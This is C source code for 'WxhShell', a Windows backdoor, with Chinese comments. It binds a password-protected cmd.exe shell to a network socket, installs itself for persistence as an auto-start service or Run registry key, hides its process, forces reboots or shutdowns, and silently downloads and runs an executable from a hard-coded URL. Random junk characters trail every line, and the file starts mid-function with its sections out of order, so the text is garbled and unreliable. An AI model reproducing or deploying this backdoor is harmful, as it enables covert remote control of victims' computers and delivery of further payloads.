    if(Boot(SHUTDOWN)) 1[,#@!k@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ix l"'Q_z  
    else { n$Oky-P"  
    closesocket(wsh); VA*79I#_q  
    ExitThread(0); _*-'yu8#  
    } 7Ohu$5\  
    break; 5<>R dLo  
    } J0Rz.=Y  
  // 获取shell "!4>gg3r  
  case 's': { XzTH,7[n  
    CmdShell(wsh); c&iK+qvh{  
    closesocket(wsh); vo^9qSX f  
    ExitThread(0); Ny&Fjzl  
    break; \$0 x8B   
  } u{dN>}{  
  // 退出 #+5mpDh  
  case 'x': { \Q BpgMi(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F<'l'AsC-  
    CloseIt(wsh); 77[;J  
    break; d$C|hT  
    } YnL?t-$Gg  
  // 离开 eDMwY$J  
  case 'q': { {83He@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -X[8soz  
    closesocket(wsh); )*AA9   
    WSACleanup(); q@!H^hd}  
    exit(1); OgpH{"  
    break; fbbl92p  
        } uL{~(?U$  
  } g5YsV p  
  } ;<ma K*f\S  
9;WOqBD  
  // 提示信息 b5,}w:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !/lY q;$R  
} ;w&yGm  
  } ,f""|X5  
Kgio}y  
  return; u$ / ]59  
} 9Q5P7}%p  
(6y3"cbe  
// shell模块句柄 |ssIUJ  
int CmdShell(SOCKET sock) 2A;[Ek6{q  
{ = 8e8!8  
STARTUPINFO si; ] ,aAzjZ  
ZeroMemory(&si,sizeof(si)); uT t:/gm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 10C91/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .7^-*HT}  
PROCESS_INFORMATION ProcessInfo; Y>m=cqR  
char cmdline[]="cmd"; 9@a;1Wr/f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p5rRhu/|k3  
  return 0; p%y\`Nlgdx  
} NB#*`|qt  
@BW8`Ky1  
// 自身启动模式 ZvKMRW  
int StartFromService(void) ;l4 \^E1  
{ d*(\'6?  
typedef struct y$Noo)Z  
{ WQC6{^/4[1  
  DWORD ExitStatus; 3^UsyZS)  
  DWORD PebBaseAddress; [$Bb'],k  
  DWORD AffinityMask; 1@dx(_  
  DWORD BasePriority; ?YykCJJ ~@  
  ULONG UniqueProcessId; Bx!` UdRn  
  ULONG InheritedFromUniqueProcessId; meD (ja  
}   PROCESS_BASIC_INFORMATION; >U/g*[>  
}f'1x%RS^  
PROCNTQSIP NtQueryInformationProcess; cY]Y8T)  
4N0nU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sYI':UQe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u\?u4  
yE9.]j  
  HANDLE             hProcess; gQDK?aQX  
  PROCESS_BASIC_INFORMATION pbi; <BA&S _=4  
dw!Eao47  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w8ld* z  
  if(NULL == hInst ) return 0; 9r#{s Y  
[![ (h %  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2:F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1hS~!r'qqv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Cw5K*  
0M98y!A 5^  
  if (!NtQueryInformationProcess) return 0; L:Eb(z/D  
%/on\*Vh3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Zw{tuO7}K  
  if(!hProcess) return 0; jtY~- @*  
59]9-1" +  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1U7HS2  
3~la/$?p0  
  CloseHandle(hProcess); VC7F#a*V  
i8.[d5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N Z`hy>LF^  
if(hProcess==NULL) return 0; ,+9r/}K]/  
s+- aHn  
HMODULE hMod; w\*/(E<:  
char procName[255]; w%n]~w=8  
unsigned long cbNeeded; F k;su,]_  
o hlVc%a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E ET 2|*}  
%'z3es0  
  CloseHandle(hProcess); q04Dj-2<  
0g-ESf``{n  
if(strstr(procName,"services")) return 1; // 以服务启动 UV.9 KcN.  
MNC!3d(D\R  
  return 0; // 注册表启动 qH"a!  
} U^\~{X  
V0i$"|F+ E  
// 主模块 F JhVbAMd  
int StartWxhshell(LPSTR lpCmdLine) A!yLwkc:5  
{ f*Js= hvO  
  SOCKET wsl; 9zd/5|W  
BOOL val=TRUE; KW^aARJ)  
  int port=0; Lm#d.AD)  
  struct sockaddr_in door; cU|jT8Q4H  
?UDO%`X  
  if(wscfg.ws_autoins) Install(); :`1g{8.+  
@un }&URp  
port=atoi(lpCmdLine); aS G2K0  
Ya 4$7|(  
if(port<=0) port=wscfg.ws_port; ZQA C &:  
ifZNl,  
  WSADATA data; -74T C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %$| k3[4V  
HH@xn d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k]pD3.QJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QPE.b-S  
  door.sin_family = AF_INET; |LH*)GrD*t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \;gt&*$-  
  door.sin_port = htons(port); ~1sl.8tF  
5T#D5Z<m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X(28 xbd|  
closesocket(wsl); :/%xK"  
return 1; +Q0-jS#d  
} 6qpV53H  
BK SK@OV  
  if(listen(wsl,2) == INVALID_SOCKET) { @$Kq<P  
closesocket(wsl); "e<. n  
return 1; w{EU9C  
} q|l|mO  
  Wxhshell(wsl); { BL1j  
  WSACleanup(); ld:alEo  
;XQ lj?:  
return 0; OUO^/] J1S  
3eP0v  
} chzR4"WZFt  
u(WQWsN  
// 以NT服务方式启动 8lSn*;S,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q*TKs#3  
{ C?|3\@7  
DWORD   status = 0; `h5eej&s(  
  DWORD   specificError = 0xfffffff; )Hm[j)YI  
$= xQX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m>dcb 6B+g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QF/u^|f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H<7DcwXv  
  serviceStatus.dwWin32ExitCode     = 0; E?4@C"Na  
  serviceStatus.dwServiceSpecificExitCode = 0; C_ZD<UPA\  
  serviceStatus.dwCheckPoint       = 0; ^|i\d \  
  serviceStatus.dwWaitHint       = 0; &dDI*v+  
P`I G9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mCNf]Yz  
  if (hServiceStatusHandle==0) return; 6cT~irP  
zQ %z "tQ  
status = GetLastError(); |QNLO#$ -  
  if (status!=NO_ERROR) TKu68/\)  
{ tDHHQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jl-Aos"/  
    serviceStatus.dwCheckPoint       = 0; RzJ}CT  
    serviceStatus.dwWaitHint       = 0; s?x>Yl %  
    serviceStatus.dwWin32ExitCode     = status; Fxth> O`$  
    serviceStatus.dwServiceSpecificExitCode = specificError;  QXxLe*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <kXV1@>  
    return; }A)36  
  } )cqDvH  
nB@iQxcz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cov#Z ux  
  serviceStatus.dwCheckPoint       = 0; h?3,B0G  
  serviceStatus.dwWaitHint       = 0; `KJYm|@i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {.3  
} <r+!hJ[s'  
&QOWW}  
// 处理NT服务事件,比如:启动、停止 Op/79 ]$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]O7.ss/2  
{ ,D@ ;i  
switch(fdwControl) 0fPHh>u  
{ k Kp6  
case SERVICE_CONTROL_STOP: s\Pt,I@Y_  
  serviceStatus.dwWin32ExitCode = 0; k BiBXRt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h/ X5w4  
  serviceStatus.dwCheckPoint   = 0; a?,[w'7FU  
  serviceStatus.dwWaitHint     = 0; aq0iNbv@  
  { j.;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;N$0)2w  
  } &vFqe,Z  
  return; ;naq-%'Sg  
case SERVICE_CONTROL_PAUSE: ckf<N9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t8DL9RW'  
  break; 1qLl^DW  
case SERVICE_CONTROL_CONTINUE: o=-Vt,2{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p2Dh3)&  
  break; YA"Ti9-EV  
case SERVICE_CONTROL_INTERROGATE: .|-l+   
  break; 0i5y(m&7  
}; R81{<q'%X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h6\3vfj^f  
} QY~<~<d+G  
hgweNRTh!  
// 标准应用程序主函数 QE 45!Z g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `dv}a-Q)c  
{ x)ddRq l  
j\`EUC  
// 获取操作系统版本 r zMFof  
OsIsNt=GetOsVer(); v[{8G^Z}54  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CxbSj,  
~K~b`|1  
  // 从命令行安装 ?$|uT  
  if(strpbrk(lpCmdLine,"iI")) Install(); .KLm39j(  
}+9 1s'/c  
  // 下载执行文件 1B)Y;hg6&  
if(wscfg.ws_downexe) { 0?lp/|K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M.ZEqV+k  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4F05(R8k  
} \{c,,th  
$ Wit17j  
if(!OsIsNt) { :+~KPn>w5  
// 如果时win9x,隐藏进程并且设置为注册表启动 uY^v"cw/F  
HideProc(); #ZG3|#Q=L  
StartWxhshell(lpCmdLine); Guk.,}9  
} 4. 1rJa  
else qbS'|--wH  
  if(StartFromService()) 4$yV%[j  
  // 以服务方式启动 ic%?uWN  
  StartServiceCtrlDispatcher(DispatchTable); 01U *_\  
else Jy \2I{I'  
  // 普通方式启动 )^4ko  
  StartWxhshell(lpCmdLine); *)limqe3"$  
w3^NL(>  
return 0; >(hSW~i~  
} CY34X2F  
&^ V~cJ  
gks ==|s.  
]JOephX2R  
=========================================== B\\6#  
fJaubDxa  
'eD J@4Xm  
KX!i\NHz  
<3d;1o   
Y4d3n  
" )h#]iGVN}  
l :/&E 6 9  
#include <stdio.h> J , V  
#include <string.h> / /'Tck  
#include <windows.h> *myG"@P4hW  
#include <winsock2.h> pe9@N9_5  
#include <winsvc.h> %m9CdWb=w  
#include <urlmon.h> dm6~  
Frk cO  
#pragma comment (lib, "Ws2_32.lib") "< v\M85&  
#pragma comment (lib, "urlmon.lib") (:5G#?6,  
wJ gX/W  
#define MAX_USER   100 // 最大客户端连接数 \i!Son.<  
#define BUF_SOCK   200 // sock buffer 6R`Oh uN.>  
#define KEY_BUFF   255 // 输入 buffer Ir5WN_EaS  
tAjx\7IX  
#define REBOOT     0   // 重启 4[TR0bM%  
#define SHUTDOWN   1   // 关机 Cp#)wxi6[y  
5!Bktgk.  
#define DEF_PORT   5000 // 监听端口 ' _dzcN,z  
3J{vt"dS  
#define REG_LEN     16   // 注册表键长度 $<|ocUC7  
#define SVC_LEN     80   // NT服务名长度 z>;$im   
[|[>}z:  
// 从dll定义API +Ng0WS_0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HG%Z "d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'xnnLCm.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !g>.i`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e'2Y1h  
jTb-;4 N'  
// wxhshell配置信息 BByCM Y  
struct WSCFG { A5fwAB  
  int ws_port;         // 监听端口 k%P;w1  
  char ws_passstr[REG_LEN]; // 口令 5l DFp9  
  int ws_autoins;       // 安装标记, 1=yes 0=no `TtXZ[gP}  
  char ws_regname[REG_LEN]; // 注册表键名 ?m0IehI  
  char ws_svcname[REG_LEN]; // 服务名 LZ U$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "w_N' -}#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4=Gph  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TZRcd~5$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vyI%3+N@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ceT&Y{T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '9?;"=6(  
!}KqB8;  
}; k~3.MU  
&|Pu-A"5~  
// default Wxhshell configuration Z5(enTy-  
struct WSCFG wscfg={DEF_PORT, ;heHefbvvd  
    "xuhuanlingzhe", [xb]Wf  
    1, 2; `=P5V  
    "Wxhshell", rw7_5l  
    "Wxhshell", b;GD/UI  
            "WxhShell Service", LN2D  
    "Wrsky Windows CmdShell Service", aqU' T  
    "Please Input Your Password: ", N_Akmh0D  
  1, m-/j1GZ*  
  "http://www.wrsky.com/wxhshell.exe", Q@@v1G\  
  "Wxhshell.exe" S8, Z;y  
    }; !0,Mp@ j/  
IJIzXU  
// 消息定义模块 6\jf|:h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U`|0 jJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *Vw\'%p*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; clw%B  
char *msg_ws_ext="\n\rExit."; A'&n5)tb  
char *msg_ws_end="\n\rQuit."; Mg,:UC:  
char *msg_ws_boot="\n\rReboot..."; fq[;%cr4  
char *msg_ws_poff="\n\rShutdown..."; WY:&ugGx  
char *msg_ws_down="\n\rSave to "; X[gn+6WB%  
L6Wt3U`l  
char *msg_ws_err="\n\rErr!"; eM7Bc4V  
char *msg_ws_ok="\n\rOK!"; `#-P[q<v-  
sbj(|1,ac  
char ExeFile[MAX_PATH]; ?ULo&P[  
int nUser = 0; z+a%5J  
HANDLE handles[MAX_USER]; Em 6Qe  
int OsIsNt; {O<l[|Ip  
C:8_m1Y{  
SERVICE_STATUS       serviceStatus; :,b iyJt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l1U=f]  
0 [?ny`Y  
// 函数声明 z7M_1%DEx  
int Install(void); 7pA /   
int Uninstall(void); E{^XlY  
int DownloadFile(char *sURL, SOCKET wsh); ~9)"!   
int Boot(int flag); fb~=Y$|  
void HideProc(void); 54-#QIx|  
int GetOsVer(void);  Uo12gIX  
int Wxhshell(SOCKET wsl); <GHYt#GIZ+  
void TalkWithClient(void *cs); [[d(jV=*  
int CmdShell(SOCKET sock); @~c6qh  
int StartFromService(void); ]ul$*  
int StartWxhshell(LPSTR lpCmdLine); x_Jwd^`t!  
R" )bDy?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uEyH2QO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gBh;=vOD  
I+>%uShm  
// 数据结构和表定义 $N :Vo(*  
SERVICE_TABLE_ENTRY DispatchTable[] = N,2s?Y_!  
{ V7G7&'  
{wscfg.ws_svcname, NTServiceMain}, )irRO8  
{NULL, NULL} Y HSYu  
}; "8^5>EJWv  
u]u[(K5F  
// 自我安装 OouPj@r  
int Install(void) [gy*`@w  
{ ZCKka0*  
  char svExeFile[MAX_PATH]; bl_H4  
  HKEY key; y2]-&]&  
  strcpy(svExeFile,ExeFile); ydw)mT44K  
X U/QA [K  
// 如果是win9x系统,修改注册表设为自启动 M?b6'd9f  
if(!OsIsNt) { kn)t'_jC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [V'QrcCF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7\*FEjRM]  
  RegCloseKey(key); wC `+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /kt2c[9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y]]}*8  
  RegCloseKey(key); pwwH<0[  
  return 0; Y6,Rj:8  
    } ?bM_q_5  
  } <E\$3Ym9  
} H$G0`LP0/a  
else { Mu'8;9_6  
pdJ/&ufh  
// 如果是NT以上系统,安装为系统服务 ;nC.fBu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V=fEPM  
if (schSCManager!=0) <mi-}s  
{ S= _vv)6+4  
  SC_HANDLE schService = CreateService 2z\zh[(w  
  ( z'uK3ng\hH  
  schSCManager, HB Iip?  
  wscfg.ws_svcname, l;y7]DO  
  wscfg.ws_svcdisp, >.dWjb6t  
  SERVICE_ALL_ACCESS, vSi_t K4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WTImRXK4  
  SERVICE_AUTO_START, K'K2X-E  
  SERVICE_ERROR_NORMAL, 6[OzU2nB  
  svExeFile, 3~nnCR[R  
  NULL, F u&EhGm6  
  NULL, L\y;LSTU  
  NULL, 6c^e\0q  
  NULL, asY[8r?U  
  NULL \(t@1]&jw  
  ); u7?$b!hG^C  
  if (schService!=0) rQ7+q;[J  
  { ?wnzTbJN  
  CloseServiceHandle(schService); hXqD<?  
  CloseServiceHandle(schSCManager); V& C/Z}\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u%~igt@x  
  strcat(svExeFile,wscfg.ws_svcname); +cD!1IT:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6N)!aT9eo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @6l%,N<fou  
  RegCloseKey(key); nLV9<M Zm  
  return 0; Vp>|hj po  
    } 71vkyn@"  
  } -V:"l  
  CloseServiceHandle(schSCManager); t3dlS`O  
} TLoz)&@  
} kOh{l: 2-+  
5|jw^s7  
return 1; 35tu>^_#V  
} a{{g<< H  
keB&Bjd&  
// 自我卸载 UQB "v3Z  
int Uninstall(void) a33TPoj  
{ Duc#$YfGm  
  HKEY key; tK&' <tZh  
5Ri6Z#qm  
if(!OsIsNt) { F <hJp,q9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kWdi59 5  
  RegDeleteValue(key,wscfg.ws_regname); 765p/**  
  RegCloseKey(key); k?2k'2dy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 61xs%kxb..  
  RegDeleteValue(key,wscfg.ws_regname); rk)##)  
  RegCloseKey(key); Q>n|^y6  
  return 0; MNSbtT*^  
  } |=&cQRY!p  
} %;.;>Y(-  
} ?JL:CBvCp  
else { C -iK$/U  
yRo- EP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :O(^w}sle  
if (schSCManager!=0) ^5=B`aich  
{ xhRngHU\z<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4C FB"?n0  
  if (schService!=0) Q'%PNrN  
  { W3iZ|[E;  
  if(DeleteService(schService)!=0) { _6wFba@>/n  
  CloseServiceHandle(schService); }N*_KzPIa  
  CloseServiceHandle(schSCManager); }<dRj  
  return 0; `F/Tv 5@L  
  } yz0zFfiX  
  CloseServiceHandle(schService); A<W 6=5h  
  } ?2>FdtH  
  CloseServiceHandle(schSCManager); B, 9w0  
} \?jeWyo  
} WD1G&5XP  
,Jd ',>3  
return 1; W^s ;Bi+Nw  
} )n,P"0  
zA[0mkC?$  
// 从指定url下载文件 %rxO_  
int DownloadFile(char *sURL, SOCKET wsh) H/Llj.-jg  
{ XP@1~$  
  HRESULT hr; 8stwg'  
char seps[]= "/"; =9j8cC5y  
char *token; F+@5C:<?  
char *file; t*?0D\b 2  
char myURL[MAX_PATH]; %JLk$sP9y`  
char myFILE[MAX_PATH]; yrR1[aT  
EOm:!D\  
strcpy(myURL,sURL); h(5P(`M  
  token=strtok(myURL,seps); 8O Soel  
  while(token!=NULL) JJ%ePgWT  
  { X$yN_7|+  
    file=token; 3"O>&Q0c  
  token=strtok(NULL,seps); U4cY_p?  
  } z@wMc EH  
{c (!;U  
GetCurrentDirectory(MAX_PATH,myFILE); f4BnX(1u  
strcat(myFILE, "\\"); v'BZs   
strcat(myFILE, file); O)"gS!,  
  send(wsh,myFILE,strlen(myFILE),0); L: z?Zt)|  
send(wsh,"...",3,0); 8H_l:Z[:i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;g~TWy^o  
  if(hr==S_OK) Op_RzZP`  
return 0; I}t#%/'YA  
else IV)<5'v  
return 1; 3K_A<j:  
[/X4"D-uOK  
} Hbpqyl%O>  
5:kH;/U  
// 系统电源模块 HvVts\f  
int Boot(int flag) d20gf:@BM  
{ R~ZFy0  
  HANDLE hToken; MX@_=Sp-  
  TOKEN_PRIVILEGES tkp; x l#LrvxI  
Yc'kvj)_M  
  if(OsIsNt) { f{FDuIl n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =XY\iV1J*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qBCK40   
    tkp.PrivilegeCount = 1; Dre]AsgiV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YiPoYlD*n<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M{*Lp6h  
if(flag==REBOOT) { |gU(s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `+uhy ,  
  return 0; ma((2My'H  
} O/<K!;(@?  
else { ,JEF GI{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D)d~3`=#  
  return 0; >>5NX"{  
} ;W^o@*i{>  
  } Q^#;WASi  
  else { B|&"#Q  
if(flag==REBOOT) { EcCFbqS4W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IqD_GL)Ms  
  return 0; M-giR:,  
} AqV7\gdOC  
else { pi ,eIm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o5Q{/  
  return 0; IzpZwx^3''  
} 8A+SjJ4$  
} GO^_=EMR[  
_C`K*u 6Z<  
return 1; sUU{fNC6|  
} x(eb5YS  
ruazOmnn~  
// win9x进程隐藏模块 mzf+Cu:` v  
void HideProc(void) FG) $y[*  
{ l@ap]R  
oD$J0{K6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >`%'4<I  
  if ( hKernel != NULL ) J;f!!<l\  
  { ,Bal  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yd?x= |  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #jxe%2'Ot  
    FreeLibrary(hKernel); q2et|QCru  
  } fOMvj%T@2  
zBe8,, e  
return; `IY/9'vT  
} !ki.t  
%C=]1Q=T)  
// 获取操作系统版本 |e2be1LD  
int GetOsVer(void) }eRD|1  
{ WuZ/C_  
  OSVERSIONINFO winfo; w18y}mS"H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .k0~Vh2u  
  GetVersionEx(&winfo); A21N|$[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YR;^hs?  
  return 1; <E0UK^-}  
  else 4M^G`WA}t9  
  return 0; D7S'*;F  
} `8Lo{P  
]TyisaT  
// 客户端句柄模块 Rh>}rGvCUN  
int Wxhshell(SOCKET wsl) hjQ~uqbg  
{ @`,1:  
  SOCKET wsh; dH^<t,v  
  struct sockaddr_in client; R?p00  
  DWORD myID; J:kmqk!  
4sP2g&  
  while(nUser<MAX_USER) xu'yVt9RC  
{ q=9`06  
  int nSize=sizeof(client); zD?K>I=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Iy6$7~  
  if(wsh==INVALID_SOCKET) return 1; //4Xq8y  
g{P%s'%*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P8?Fm`  
if(handles[nUser]==0) pm9%%M$  
  closesocket(wsh); gB4U*D0[e~  
else +a*^{l}AST  
  nUser++; 5efpeu  
  } nM0[P6p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [u._q:A  
u@4V7;L  
  return 0; P(K>=O  
} MXyaE~LK  
hsw9(D>jp  
// 关闭 socket e A}%C.ZR  
void CloseIt(SOCKET wsh) O1`9Y}G(r  
{ ?Sb8@S&J  
closesocket(wsh); "hdvHUz  
nUser--; ~wVd$%7`  
ExitThread(0); 9,^_<O@Q  
} >(snII  
bl'z<S, '  
// 客户端请求句柄 <~)kwq'  
void TalkWithClient(void *cs) jH6&q~#  
{ J;prC  
@ G4X  
  SOCKET wsh=(SOCKET)cs; Q[d}J+l4{  
  char pwd[SVC_LEN]; !S_^94b@  
  char cmd[KEY_BUFF]; Q8_ d)t|  
char chr[1]; T]?n)L,2  
int i,j; &wB\ ~Ie-  
:(H>2xS,s  
  while (nUser < MAX_USER) { %H+\>raLz  
b%Eei2Gm%  
if(wscfg.ws_passstr) { >B>CB3U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BY]i;GVq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p^pOuy8  
  //ZeroMemory(pwd,KEY_BUFF); OGY"<YH6  
      i=0; i>joT><B  
  while(i<SVC_LEN) { @e'5E^  
kVD(Q ~<  
  // 设置超时 "t0kAG  
  fd_set FdRead; 8Y#\xzod  
  struct timeval TimeOut; h48SItY  
  FD_ZERO(&FdRead); 36n>jS&  
  FD_SET(wsh,&FdRead); Jx=hJ-FY  
  TimeOut.tv_sec=8; X7g3  
  TimeOut.tv_usec=0; ys#i@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZlojbL@|4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8L1ohj  
1* ]Ev  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5~yNqC  
  pwd=chr[0]; d O~O |Xsb  
  if(chr[0]==0xd || chr[0]==0xa) { B7Tk4q\;Q  
  pwd=0; Y+3!f#exm  
  break; leCVK.  
  } dHk{.n^p  
  i++; Gx 72  
    } Q_vW3xz  
:>81BuMvg  
  // 如果是非法用户,关闭 socket p)~lL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S{K0.<,E  
} Rl6\#C*  
:h1pBEiH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LA[g(i 7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g_Im;1$  
|D.O6?v@  
while(1) { Oi} T2I  
>5 b/or  
  ZeroMemory(cmd,KEY_BUFF); 5#E |R  
pN&c(=If  
      // 自动支持客户端 telnet标准   Yh)Isg|0>  
  j=0; 6q>+!kXh  
  while(j<KEY_BUFF) { n& $^04+i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9GdB#k6W`  
  cmd[j]=chr[0]; 8by@iQ  
  if(chr[0]==0xa || chr[0]==0xd) { D?M!ra  
  cmd[j]=0; ?U7) XvQ  
  break; -@&1`@):{  
  } J`*iZvW#Bx  
  j++; _#_ E^!  
    } $t-n'Qh^2  
m%#`y\]I  
  // 下载文件 \ /|)HElKR  
  if(strstr(cmd,"http://")) { NcM>{{8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [/RM=4Nh5  
  if(DownloadFile(cmd,wsh)) )$Z(|M4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _DP|-bp D  
  else ;PyZ?Z;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V84*0&qOW  
  } D,ly#Nn  
  else { OVk ~N)  
uENdI2EY8y  
    switch(cmd[0]) { H g5++.Bp  
  e1q"AOV6  
  // 帮助 R \s!*)  
  case '?': { nF)uTk  
